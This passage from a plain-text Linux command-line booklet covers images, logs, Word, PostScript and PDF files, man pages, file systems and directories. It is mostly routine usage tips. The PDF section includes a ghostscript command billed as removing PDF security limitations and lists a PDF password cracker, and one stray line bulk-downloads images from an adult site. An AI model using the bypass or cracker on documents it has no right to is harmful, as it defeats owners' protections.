.. screencapture - the macosx (jaguar) utility
..
The process of creating an image from what is currently displayed
on the computer screen is generally known as "screen capture" or a
"screenshot"
* take a screenshot of the desktop window after 5 seconds, and display it
>> import -pause 5 -window root desk.png; display desk.png
>> scrot -d 5 desk.png; display desk.png ##(the same)
Using a pause like this before taking the screenshot, allows you
to rearrange the windows on the desktop if you so desire.
* take a screen shot of the whole screen and save it to 'test.png'
>> scrot test.png
* take a low-quality screen shot in 'test.png' and display it
>> scrot -q 10 test.png; feh test.png
* on macosx capture the whole screen as a jpg image and display it
>> screencapture -tjpg test.jpg; open test.jpg
* make an image of the currently focussed window and save as 'test.jpg'
>> scrot -u test.jpg
* capture a window, with its window frame, save in the file 'i.png'
>> import -frame i.png
After typing this, left-click on the window you want to capture.
In other words the technique above, is an 'interactive' technique
for capturing an image of a screen
META DATA ....
* command to change the exif date time of a image
>> exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
* set timestamp in exif of a image
>> exiv2 -M"set Exif.Photo.DateTimeOriginal `date "+%Y:%m:%d %H:%M:%S"`" filename.jpg
IMAGE INFORMATION ....
* show the width x height of the image "bird.png"
>> identify -format "%wx%h" bird.png ##(prints "16x20" for example)
* rename all "png" files, so that the name includes the width and height
>> for f in *.png; do rename "s/\./-"$(identify -format "%wx%h" $f)"./" $f; done
OPTIMIZING IMAGES ....
* optimize png images
>> debian: optipng
== image format notes
.. png, is a lossless format, has transparency
.. jpg, highly compressable, lossy, no transparency
.. gif, animations possible, compressed,
..
TRANSFORMING IMAGES ....
* reduce in size all jpeg images in the folder by 50%
>> mogrify -resize 50% *.jpg ##(the images are changed)
* reduce by 50% an image and save the reduced image as "rose2.jpg"
>> convert rose.jpg -resize 50% rose2.jpg
* rotate an image by 90 degrees where the height exceeds the width
>> mogrify -rotate '90<' image.jpeg
* rotate an image where the width exceeds the height
>> mogrify -rotate '90>' image.jpeg
* convert an image to black and white
>> mogrify -monochrome colourful.jpeg
* add a grey border 2px wide and 4px high around an image
>> mogrify -border 2x4 cat.jpg
>> mogrify -frame 8x8 cat.jpg ##(a bevelled border)
CONVERTING IMAGE FORMATS ....
* convert the jpeg image "rose.jpg" to the "png" format.
>> convert rose.jpg rose.png
* convert all png images in the current folder to the jpeg format
>> mogrify -format jpg *.png ##(a copy of the images is created)
* convert a large number of "gif" images to the "png" format
>> find . -name "*.ico" | xargs mogrify -format png
##(this is very fast)
* Batch resize all images in the current directory
>> mogrify -resize 800\> *
ANIMATION ....
# frame numbers start at 0
* show information for all the frames in an animation
>> identify tree.ico
* display how many frames an animation has
>> identify tree.gif | wc -l
* extract the 2nd frame from an animated gif and save to "new.gif"
>> convert animation.gif[frame1] new.gif
RESIZING IMAGES ....
* Resize photos without changing exif
>> mogrify -format jpg -quality 80 -resize 800 *.jpg
* resize(1/2) the image using imagemagick
>> convert -resize 50%x50% image{,_resize}.jpg
* crop a 32x32 pixel block starting at pixel (16,16) and save to "new.gif"
>> convert tree.gif -crop 32x32+16+16 new.gif
* crop a 20 pixel vertical strip starting at the top left hand corner
>> convert tree.png -crop 20x0+0+0 new.png
* create a 1 row montage with a gap in the middle
>> montage medical.gif null: present.gif -tile x1 -geometry +2+2 new.jpg
* create a montage with the file name under the image, silver background
>> montage -label '%f' x.png -font Arial -pointsize 30 -geometry +0+0 -background silver xy.png
* rename images according to exif or jpeg metadata
>> exiv2 rename *.jpg
* draw a label at the bottom of the image in a grey rectangle (superimposed)
>> convert tree.png -fill '#0008' -draw 'rectangle 5,128,114,145' \
>> -fill white -annotate +10+141 'Tree' new.png
IMAGES OF TEXT ....
* create an image, size 165x70, of text "Tree" with text centered in image
>> convert -fill blue -font Helvetica -size 165x70 -pointsize 24 \
>> -gravity center label:Tree tree.gif
* create an image of text, with text font size auto-fitted to image size
>> convert -fill blue -font Candice -size 165x70 label:Tree new.gif; feh new.gif
* create an image label from text from standard input
>> echo "hello!" | convert -fill blue label:@- new.gif; feh new.gif
COMPRESSING IMAGES ....
* reduce the quality (& file size) of an image, and save in "tree-80.jpg"
>> convert tree.jpg -quality 80% tree-80.jpg
* reduce a jpeg even more
>> -sampling-factor 2x1
VISUAL ART
The open clip art library.
@@ http://openclipart.org/media/tags
a tag cloud of open clip art
== packages
.. openclipart
.. openclipart-png
.. create-resources - brushes, gradients etc
..
ASCII ART ....
* a demonstration of the aview tool
>> bb
== ascii art tools
.. aview -
.. cadubi - an ascii art editor
.. aewan - an ascii art editor
.. textdraw - create ascii geometric figures
.. figlet - create ascii text banners
.. cowsay - create ascii pictures of cows with speach bubble
.. banner - show a large ascii banner text
..
* Outputs files with ascii art in the intended form.
>> iconv -f437 -tutf8 asciiart.nfo
* display a text banner with a 50 character width
>> banner -w50 'hello'
* draw a box with an ascii-art dog design around the text 'hello'
>> echo hello | boxes -d dog
* choose from a set of ascii art pictures with speech bubbles
>> cowsay -f tux 'hello'
* A death cow thinking in your fortune cookie
>> fortune -s -c -a | cowthink -d -W 45
* view a video using only 'ascii art'
>> mplayer -vo aa <video file>
* bulk dl files based on a pattern
>> curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha /met-art-free-sample-00[00-19].jpg
* create ascii art pictures with various colours
>> cadubi
* pass a backslash character as an argument to figlet
>> figlet $'\\'
* pass a form feed character followed by a pilcrow sign character (octal character code 266) to figlet
>> echo $'\f\266'
* plot the curve 'sin(x)' as ascii text
>> echo "set terminal dumb; plot sin(x)" | gnuplot -persist
* an ascii art font for your readme text
>> toilet -f big ReadMe
* vertically scrolling ascii banner text
>> while [ 1 ]; do banner 'scroll! ' | while IFS="\n" read l; do echo "$l"; sleep 0.02; done; done
PATTERNS AND TILINGS ....
* kali
CHARTS AND GRAPHS
* the 'pic' and 'grap' groff preprocessors
* debian: rlplot, ygraph, dia
== graphing tools
.. dot
.. gnuplot
.. picviz - plotter for parallel co-ordinates
..
@@ graphviz
a package with tools, including 'dot' for drawing network type graphs
* Create package dependency graph
>> apt-cache dotty PKG-NAME | dot -Tpng | display
GNUPLOT ....
@@ http://bumble.sf.net/books/gnuplot/gnuplot-book.txt
A booklet about the gnuplot tool, in the same format as
the current booklet.
This section is only meant as a brief demonstration of what gnuplot is
capable of. For more detailed information please consult the booklet
mentioned above.
* create an image of a sin curve graph and display it
>> echo "set t png; set o 'o.png'; p sin(x)" | gnuplot; feh o.png
* plot a parabola from the bash shell
>> echo 'plot x**2' | gnuplot -persist
* plot some data from the command line
>> echo 'plot "list.txt" using 2:xticlabels(1)' | gnuplot -persist
* show the graph of 'parabola' curve (x to the power of 2)
>> gnuplot
>> plot x**2
>> quit
DOT ....
* Generate a graph of package dependencies
>> apt-cache dotty apache2 | dot -T png | display
FLOW CHARTS AND FIGURES
* for drawing flow charts and other figures use
>> xfig
VIDEO
please see http://bumble.sf.net/books/linux-video/linux-video-book.txt
for more complete information about using video with the linux
operating system.
LOG FILES
In Unix and Linux 'log' files are used by software to record things
that it has done or happened to it. In particular, server software
makes great use of log files. These log files are always stored as
plain text.
* Truncate logs in unix
>> logs=$(find . -name *.log);for log in $logs; do cat /dev/null > $log;done
* Get all possible problems from any log files
>> grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
* Follow the most recently updated log files
>> ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
* Quickly analyze apache logs for top 25 most common IP addresses.
>> cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25
* Extract XML from an otherwise plain text log file
>> sed -n '/<Tag>/,/<\/Tag>/p' logfile.log
* Convert the output of one or more (log, source code ...) files
>> enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
* tail, with specific pattern colored
>> tail -F file | egrep --color 'pattern|$'
* Watch several log files in a single window
>> multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
* A robust, modular log coloriser
>> ccze
* useful tail on /var/log to avoid old logs or/and gzipped files
>> tail -f *[!.1][!.gz]
* Export log to html file
>> cat /var/log/auth.log | logtool -o HTML > auth.html
* follow the end of the log file 'tcp.log' showing new data as it enters
>> less +F tcp.log ##(press [control] c to stop following)
>> tail -f tcp.log ##(the same, but you cant move up and down the file)
>> tailf tcp.log ##(the same)
* Monitor logs in Linux using Tail
>> find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f
MS WORD DOCUMENTS
* extract plain text from MS Word docx files
>> unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
* find and grep Word docs
>> find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;
* view a microsoft word document
>> wv
* convert a ms word document to text
>> antiword, catdoc
* display the 'list.doc' file as plain text
>> catdoc list.doc | less
* convert the Word file 'resume.doc' to LaTeX
>> word2x -f latex resume.doc ##(writes a new file, 'resume.ltx',)
* convert all of the '.DOC' Word files in the current directory to LaTeX files with maximum line widths of 40 characters
>> word2x -f latex -w 40 *.DOC
* convert the Word file 'resume.doc' to a plain text file called 'resume'
>> word2x -f text resume.doc resume
* search the text of the Word file 'resume.doc' for the string 'linux' regardless of case
>> word2x resume.doc - | grep -i linux
POSTSCRIPT DOCUMENTS
Postscript is a document format very well suited to being printed.
However it is more difficult to view than the adobe pdf format
(since the acrobat viewer is more widely installed on Microsoft
Windows computers)
* view a ps file
>> evince
* view a postscript file
>> ghostview file.ps
>> gv file.ps ##(the same)
* view a postscript file as plain text
>> ps2ascii book.ps | less
CONVERTING POSTSCRIPT TO OTHER FORMATS ....
* convert a postscript document to the pdf format
>> ps2pdf eg.ps ##(a file called "eg.pdf" is created)
* convert a postscript file to plain text
>> ps2ascii book.ps book.ps.txt
PDF DOCUMENTS
debian packages: xpdf, xpdf-utils
@@ http://www.foolabs.com/xpdf/
home page for the pdf-utils programs
== useful pdf programs
.. evince - view a pdf or postscript file
.. xpdf - view a pdf file
.. pdftops - convert to postscript
.. pdftotext - convert or view a pdf file as plain text
.. pdfinfo - display lots of information about a pdf document
.. pdfimages - extract images from pdffiles
.. pdffonts - show what fonts are used in a pdf document
.. pdftoppm -
.. xpdfrc -
.. pdfcrack - PDF files password cracker
.. pdfjam - collection of PDF document handling utilities
.. pdftk - A useful tool for manipulating PDF documents
.. pdftohtml - Translates PDF documents into HTML format
..
* Merge *.pdf files
>> gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
* Merge several pdf files into a single file
>> pdftk $* cat output $merged.pdf
* create a pdf of the file 'test.txt'
>> enscript test.txt -o - | ps2pdf - ~/tmp/test.pdf
* create a pdf of a directory listing of the current folder
>> ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf
* Convert images to a multi-page pdf
>> convert -adjoin -page A4 *.jpeg multipage.pdf
* Get pages number of the pdf file
>> pdfinfo file.pdf | awk /Pages/
* Save man pages to pdf
>> man -t man | ps2pdf - > man.pdf
* separate a pdf document into single pages and report its data
>> pdftk mydoc.pdf burst
* Merge Two or More PDFs into a New Document
>> pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
* Optimize Xsane PDFs
>> gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
* Merge several pdf files into a single file
>> gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
* Remove security limitations from PDF documents using ghostscript
>> gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
VIEWING PDF DOCUMENTS ....
* view a pdf file as plain text
>> pdftotext file.pdf - | less
* view a compressed pdf document
>> zxpdf book.pdf.gz
* view a pdf document
>> xpdf book.pdf ##(xpdf appears much faster than "acroread")
>> acroread book.pdf ##(its easier to select text in acroread)
* view the 10th page of a pdf document with a zoom factor of 200%
>> xpdf -z 200 book.pdf 10
* view a pdf document in "continuous" mode starting at the 5th page
>> xpdf -cont book.pdf 5 ##(one can scroll smoothly through the whole file)
* view a pdf document in full-screen mode
>> xpdf -fullscreen book.pdf ##(the -z zoom option doesnt work with fullscreen)
* view a pdf document with the colours reversed (usually white text on black)
>> xpdf -rv book.pdf
ANALYSE PDF DOCUMENTS ....
* extract the images from the file and save them in jpeg format
>> pdfimages -j report.pdf
* display information about a pdf document
>> pdfinfo book.pdf
* show how many pages a pdf document has
>> pdfinfo book.pdf | sed -n "/Pages:/s/^ *Pages: *//p"
* show the page size of a pdf document
>> pdfinfo book.pdf | grep -i "Page size:"
* show what fonts are used in a pdf document
>> pdffonts book.pdf
EDITING PDF FILES ....
* pdfedit
CONVERTING PDF TO IMAGES ....
@@ http://www.medicalnerds.com/batch-converting-pdf-to-jpgjpeg-using-free-software/
some hints on converting to another format
The 'convert' tool forms part of the imagemagick suite of tools
* convert 'file.pdf' to a low quality 'png' format image
>> convert file.pdf file.png
* convert 'file.pdf' to a high quality 'png' format image
>> convert -density 300 file.pdf file.png
* convert 'file.pdf' to a high quality 'jpeg' format image
>> convert -density 300 file.pdf file.jpg
* convert 'file.pdf' to a high quality jpeg, cropping all whitespace
>> convert -density 300 -trim file.pdf file.jpg
>> convert -density 300 -trim +repage file.pdf file.jpg ##(the diff?)
Note: if the pdf file contains page numbers, then the -trim
function will probably not work as well as you were hoping.
* Convert PDF to JPEG using Ghostscript
>> gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
PDF TO POSTSCRIPT ....
* make a copy of 'file.pdf' in postscript format called 'file.ps'
>> pdftops file.pdf
PDF TO TEXT ....
* convert a pdf document to plain text (without any formatting)
>> pdftotext file.pdf ##(a file called "file.txt" is created)
* convert the pdf file "file.pdf" to a plain text file "ouput.txt"
>> pdftotext file.pdf output.txt
>> ps2ascii file.pdf output.txt ##(more or less the same)
* pstotext
FROM OTHER FORMATS ....
* convert a web page into a pdf
>> touch $2;firefox -print $1 -printmode PDF -printfile $2
THE INFO HELP READER
* Nice info browser
>> pinfo
The info reader.
For some incomprehensible reason, the www.gun.org people decided that they
didnt like "man" pages and so they invented a whole new help document reader
called "info". Its a nasty little second rate hypertext viewer which forces
you to learn a whole new set of arbitrary keystrokes in order to move around
the document (maybe they're "emacs" keystrokes, who knows). Whats more,
instead of just calling "pages" pages, info calls pages "nodes" to try and be
as pretentious as it possibly can. But anyway, you may have to use it.
* view the "info" help document for Latex
>> info latex
== Some "info" reader commands
.. [space], move forward a page
.. [del], move back a page, or to the previous node if at the top of the page
.. q, exit the Info document viewer
.. ?, show some keystrokes which are available
.. h, show an "info" tutorial, if available
.. [tab], go to the next link on the page
.. [enter], jump to the link under the cursor
.. ???, how to go to previous link is anyones guess [M-TAB] ???
.. l, go to the last page that was viewed (like a browser "back button")
.. n, open the next page in the document
.. p, open the previous page in the document
.. u, go "up" one level in the document (usually to a table of contents)
.. t, go to the main table of contents for the document
.. d, view a list of all Info documents
.. b, go to the top of the current page
.. e, go to the end of the current page
.. m, type the name of a link to jump to (can type partial names)
.. i, type the name of any node to jump to
.. /, search for a string in the current page
..
MAN PAGES
@@ http://www.schweikhardt.net/man_page_howto.html
@@ http://babbage.cs.qc.edu/courses/cs701/Handouts/man_pages.html
'man' (manual) pages are the traditional Unix way to document a program,
command or package. They are text files with simple 'markup' codes which are
then processed by the troff tool.
* Colorful man
>> /usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
* see the conventions for writing a man page
>> man 7 man
* view a compressed man page in section 1 in its raw plain text format
>> zcat /usr/share/man/man1/zless.1.gz | less
##(this may be useful if you wish to write a man page)
* see where the 'man' command searches for man pages
>> manpath
* list all the directories in the man pages path
>> ls $(manpath | tr ':' ' ')
== man sections
.. 1, user commands executable from a shell
.. 2, kernel system calls
.. 3, library functions and calls (such as libc)
.. 4, special files such as in /dev
.. 5, file formats and conventions (such as /etc/password)
.. 6, games
.. 7, conventions and miscellaneous, file system layout.
.. 8, system management commands such as like mount(8)
.. 9, kernel routines. this is an obsolete manual section.
..
* automatically generate man pages from C, C++, Java, Python ... source code
>> doxygen ##(doxygen can also generate documentation in html, latex etc)
* a cgi script for generating html man pages
>> man2html
* save the word count tool (wc) man page as plain text
>> man wc | col -b > wc.txt
DOCUMENTATION SYSTEMS
@@ http://www.chiark.greenend.org.uk/~sgtatham/halibut/
* groff
* texinfo
* docbook,
* halibut
SOURCE CODE DOCUMENTATION SYSTEMS ....
* doxygen
* javadoc
* pod perl documentation
XML
* check if an xml or html document is well formed (valid)
>> curl -s 'http://bashcurescancer.com' > bcc.html; xmlwf bcc.html
##('xmlwf' is part of the 'expat' package)
EDITING TEXT
------------------------------------------------------------------
In the traditional unix world, the choice of text editor
is often seen as a choice between vim and emacs. But many other
good choices exist.
@@ tea - ?
@@ sam
An editor written by Rob Pike which is in turn used
by various veteran unix forefathers. Sam makes more use of
the mouse.
@@ acme
Another editor by Rob Pike.
@@ joe 'joes own editor'
possibly the simplest text editor to use ...
@@ nano, pico
small reasonably easy to use text editors originating from
the pine email program.
@@ vim 'visual editor improved'
this is a programmers' editor for people who write a
great deal of text and preferibly can type without looking
at the keyboard. It is strange and annoying for new users.
@@ emacs 'editing macros'
capable of just about anything but dont use it, because I think
its bad.
* graphical text editors
.. gedit
.. kate
..
BATCH EDITING TEXT FILES ....
Batch editing of text files involves editing several or many text files
at once, usually in a non-interactive way.
o-
- use vim with the "argdo" function
- use perl with the "-i" switch
- some versions of "sed" do not have the "-i" switch, so perl must be used
-
## Before doing a "batch" edit of text files, it is probably a good
## idea to check what changes will take place without doing anything
* add the word "green" after the 500th line of the file "report.txt"
>> echo -e "500a\ngreen\n.\nw\nq\n" | ed report.txt
>> (echo "500a"; echo "green"; echo -e "w\nq\n") | ed report.txt ##(the same)
* In all files with a ".txt" extension replace "Daniel" with "Dan"
>> grep -l "Daniel" $(find . -name "*.txt") | xargs sed -n "s/Daniel/Dan/p"
##(the original files are left unchanged)
# using the sed -n and "p" commands, only changed lines will be displayed
* In all files with a ".txt" extension replace "Daniel" with "Dan"
>> grep -l "Daniel" $(find . -name "*.txt") | xargs sed -i.bak "s/Daniel/Dan/g"
* In "html" files, NOT containing the text "Notes:", add a line with "Notes:"
>> grep -L "Daniel" $(find . -name "*.html") | xargs sed -i.bak "$s/$/\nNotes:/"
##(a copy of the changed files is made with an extension ".bak")
##(all files in the current folder and subfolders are affected)
* replace the word "big" with small in all files in this and subfolders
>> perl -p -i.bak -e 's/\bbig\b/small/g' $(grep -ril big *)
UNIX DIRECTORY STRUCTURE
Unix has a standard folder hierarchy in which each folder is designed to
serve a specific purpose and contain certain sorts of files.
* search google: unix file system standard
* linux file system standard FS-Stnd
* show detailed information about what each folder is used for
>> man hier
== A very incomplete summary of the Unix directory structure
..
.. /usr/bin/ - executable files (binary, shell scripts etc)
.. /usr/sbin/ - secure executable files
.. /usr/local/bin - executables only on the current machine
.. /usr/share/ - files used by many programs, dictionaries, icons etc
.. /usr/share/doc - documentation files
.. /var/ - data files which change regularly (eg log files)
.. /dev/ - peripheral devices (sound cards, usb drives etc)
.. /etc/ - configuration files for programs
..
FONTS
-------------------------------------------------------------------
* Refresh the cache of font directory
>> sudo fc-cache -f -v
* show which fonts are installed
>> fc-list | cut -d ':' -f 1 | sort -u
* show what fonts are installed for the japanese language
>> fc-list :lang=ja
* browse a unicode font
>> gucharmap
* show characters from a font in all sizes
>> waterfall
* Installing True-Type fonts
>> ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
FILE SYSTEMS
* Force file system check
>> touch /forcefsk
* Backup files incremental with rsync to a NTFS-Partition
>> rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
@@ gparted
a graphical partitioner and file-system formatter
@@ fdisk
a command line tool
* Check the age of the filesystem
>> df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
* currently mounted filesystems in nice layout
>> column -t /proc/mounts
* Converts ext2 to ext3
>> tune2fs -j /dev/sdX
* migrate existing ext3 filesystems to ext4
>> tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
* Show the UUID of a filesystem or partition
>> sudo vol_id -u /dev/sda1
* resize a mounted ext3 file system
>> v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
ISO FILES ....
* convert .daa to .iso
>> poweriso convert image.daa -o image.iso -ot iso
* Create a CD/DVD ISO image from disk.
>> readom dev=/dev/scd0 f=/path/to/image.iso
* Mount a .iso file in UNIX/Linux
>> mount /path/to/file.iso /mnt/cdrom -oloop
* convert .bin / .cue into .iso image
>> bchunk IMAGE.bin IMAGE.cue IMAGE.iso
* Mount and umount iso files
>> function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
PARTITIONS ....
A partition is a way of dividing a hard-disk or other
storage media into several logical 'disks'.
* Mount a partition from within a complete disk dump
>> INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
FILE SYSTEM TYPES ....
@@ http://en.wikipedia.org/wiki/Comparison_of_file_systems
a good chronological table of file systems
@@ http://www.osnews.com/story/9681/The_vfat_file_system_and_Linux
an article about the vfat file system
== a few common file-system types
.. fat32 - created 1996, by microsoft, appeared in windows 95b
.. vfat - ?
.. ntfs v5.1 - created 2001 by microsoft and used in windows xp
.. ntfs v6 - 2006 by microsoft for windows vista
.. ext2 - created in 1993 and used by linux and hurd
.. ext3 - created 1999 used in linux
.. reiserfs - created 2001 by namesys, used in linux
.. google file system - created 2003 by google for linux
.. gfs2 - 2006 by red hat for linux
.. ext4 - 2006 for linux
..
* view all mounted file system types
>> df -T
MOUNTING AND UNMOUNTING FILESYSTEMS ....
* Mount proc
>> mount -t proc{,,}
* currently mounted filesystems in nice layout
>> mount | column -t
* Mount a temporary ram partition
>> mount -t tmpfs tmpfs /mnt -o size=1024m
* Mount folder/filesystem through SSH
>> sshfs name@server:/path/to/folder /path/to/mount/point
* Mount a partition from within a complete disk dump
>> lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
* umount all nfs mounts on machine
>> umount -a -t nfs
* mount directories in different locations
>> mount --bind /old/directory/path /new/directory/path
SYMBOLIC LINKS ....
* Find broken symlinks and delete them
>> find -L /path/to/check -type l -delete
* Find broken symlinks
>> find . -type l ! -exec test -e {} \; -print
* Propagate a directory to another and create symlink to content
>> lndir sourcedir destdir
* show the status of all symlinks in the current folder
>> symlinks -r $(pwd)
* List all symbolic links in current directory
>> find /path -type l
* Find dead symbolic links
>> find . -type l | perl -lne 'print if ! -e'
* Show the disk usage for files pointed to by a symbolic link
>> find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh
* Eliminate dead symlinks interactively in /usr/ recursevely
>> find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
* Get the canonical, absolute path given a relative and/or
>> readlink -f ../super/symlink_bon/ahoy
DIRECTORIES
Directories, which are also known as 'folders' are a way of
organising files in a heirarchical kind of way.
* Push your present working directory to a stack that you can pop
>> pushd /tmp
* display the folder below the current one
>> tree -dL 1 | less
* display the whole directory tree below the current folder
>> tree -d | less
* another directory tree
>> find . -type d -print | sed -e 's;[^/]*/;..........;g'| awk '{print $0"-("NR-1")"}'
* Go to parent directory of filename edited in last command
>> cd `dirname $_`
* Convert the contents of a directory listing into a colon-separated
>> find . -name '*' -printf '%f:'
* find and delete empty directories recursively
>> find . -depth -type d -empty -exec rmdir -v {} +
* Find the 20 biggest directories on the current filesystem
>> du -xk | sort -n | tail -20
* Get the size of all the directories in current directory
>> du --max-depth=1
* Replicate a directory structure dropping the files
>> for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
* Go to the next sibling directory in alphabetical order
>> for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
* maybe the quickest way to get the current program name minus the path
>> programname="${0##*/}"
* Huh? Where did all my precious space go ?
>> ls -la | sort -k 5bn
* fast access to any of your favorite directory.
>> alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
* Remove empty directories
>> find . -type d -empty -delete
* Count the total number of files in each immediate subdirectory
>> find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
BROWSING FOLDERS ....
* Start a file browser in the current directory
>> screen -d -m nautilus --no-desktop `pwd`
* File browser in the dwm minimalist window manager
>> xdg-open $(ls -1 . | dmenu)
* browse the current folder with the gnome file manager
>> nautilus
* Restart nautilus, the gnome file manager
>> killall nautilus
ANALYSING DIRECTORIES ....
* list hidden files and folders in the current folder
>> ls -d .*
* List only the directories
>> ls -l | egrep ^d
* Sort the size usage of a directory tree by gigabytes, kilobytes,
>> dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
== disk usage tools
.. du
.. firelight - a graphical tool
..
FOLDER SIZE ....
* Watch the size of a directory using figlet
>> watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
* show the total size of the current directory
>> du -sh
* display disk usage for the current folder in a readable form
>> du -sh * ##(displays values such as 2G, 43K, 12M etc)
* show available disk space in a readable form (2G, 42K etc)
>> df -h
* Print the 10 deepest directory paths
>> find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
COMPARING FOLDERS ....
* Recursively compare two directories and output their differences
>> diff -urp /originaldirectory /modifieddirectory
MAKING FOLDERS ....
* make directory tree
>> mkdir -p work/{d1,d2}/{src,bin,bak}
* make 100 directories with leading zero, 001...100, using bash3.X
>> mkdir $(printf '%03d\n' {1..100})
CHANGING FOLDERS ....
* Go up multiple levels of directories quickly and easily.
>> alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.."
* go to the previous directory
>> cd -
* go to the users home directory
>> cd
* go to the previous sibling directory in alphabetical order
>> cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
COPYING FOLDERS ....
* Recursively move folders/files and preserve their permissions and
>> cd /source/directory; tar cf - . | tar xf - -C /destination/directory
* copy/mkdir and automatically create parent directories
>> cp --parents /source/file /target-dir
* create a copy of the 'book' folder as 'book-bak'
>> cp -r book book-bak
* copy a folder, but only newer files and display all files copied
>> cp -vur book book-bak
* copy a directory to another, only where files are newer
>> cp -ru sourcefolder targetfolder
##(or use the 'rsync' tool instead of 'cp')
* make a folder and create parent folders if necessary
>> mkdir -p ./new/path/
##(if the folder './new' doesnt exist it will also be created)
DELETING FOLDERS ....
* take a look to command before action
>> find /tmp -type f -printf 'rm "%p";\n'
* remove a directory
>> rm -r folder ##(where the dir is not empty: be careful)
>> rmdir
* make an archive of a the folder 'tree' excluding .exe files
>> tar -cvz --exclude *.exe -f folder.tar.gz tree
FILE TYPE CONVERSIONS
== File Type Conversion Programs
..
.. dvips, tex/latex dvi --> postscript
.. ps2pdf, postscript --> adobe pdf
.. ghostscript, postscript --> gif image
.. groff, groff-pic --> postscript
..
FILES
-------------------------------------------------------------------
* Create a bunch of dummy files for testing
>> touch {1..10}.txt
* Empty a file
>> > foobar.txt
* list all open files
>> lsof ##(this lists all open file, pipes, sockets etc)
>> lsof -i TCP ##(show open TCP sockets)
* show the number of open files for the root user
>> lsof | grep ' root ' | awk '{print $NF}' | sort | uniq | wc -l
>> lsof | grep ' root ' | awk '{print $NF}' | sort -u | wc -l ##(the same)
* find out what sort of file is 'mys' (i.e. what is the file type)
>> file mys
* show the last modification time of a file or folder
>> date -r file
* print a date with a format string
>> date "+%l:%M%P %d %B %Y" ##(prints something like '12:32am 23 July 2009')
FILE SIZE ....
* Alternative size (human readable) of files and directories
>> du -ms * | sort -nk1
* Another way to calculate sum size of all files matching a pattern
>> find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
ANALYSING FILES ....
* Find files that were modified by a given command
>> strace <name of the program>
* Sum size of files returned from FIND
>> find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print
* list files with last modified at the end
>> alias lrt='ls -lart'
* Find writable files
>> find -writable
* list and sort files by size in reverse order (file size in human
>> ls -S -lhr
* Get file access control list
>> getfacl /mydir
* Show latest changed files
>> ls -ltcrh
* Sort files by size
>> ls -l | sort -nk5
* Find Duplicate Files (based on size first, then MD5 hash)
>> find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
FILE NAMES ....
* Substitute spaces in filename with underscore
>> ls -1 | rename 's/\ /_/'
COPYING FILES ....
== tools for copying files
.. cp - the standard unix copy tool
.. rsync - copy files across the network
.. install - copies files and sets the permissions
..
* find and copy scattered mp3 files into the users images folder
>> find ~ -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} ~/images
* prevents replace an existing file by mistake
>> set -o noclobber
* Copy all documents PDF in disk for your home directory
>> find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
* Create subdirectory and move files into it
>> (ls; mkdir subdir; echo subdir) | xargs mv
FILE PATHS ....
* For a $FILE, extracts the path, filename, filename without
